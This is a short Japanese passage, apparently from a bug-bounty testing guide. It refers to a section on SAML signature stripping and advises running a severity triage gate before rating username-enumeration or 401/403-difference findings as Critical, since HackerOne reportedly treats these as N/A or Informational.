が署名なしのアサーションを受け付ける場合は、SAML 署名を除去するセクションを参照してください。triage-validation— ユーザー名を列挙するだけ、または 401 と 403 の違いを明らかにするだけの「認証バイパス」で Critical を主張する前に、重大度判定ゲートを実行してください。ロックアウトを増幅できないユーザー名の列挙だけでは、H1 では一貫して N/A または Informational になります。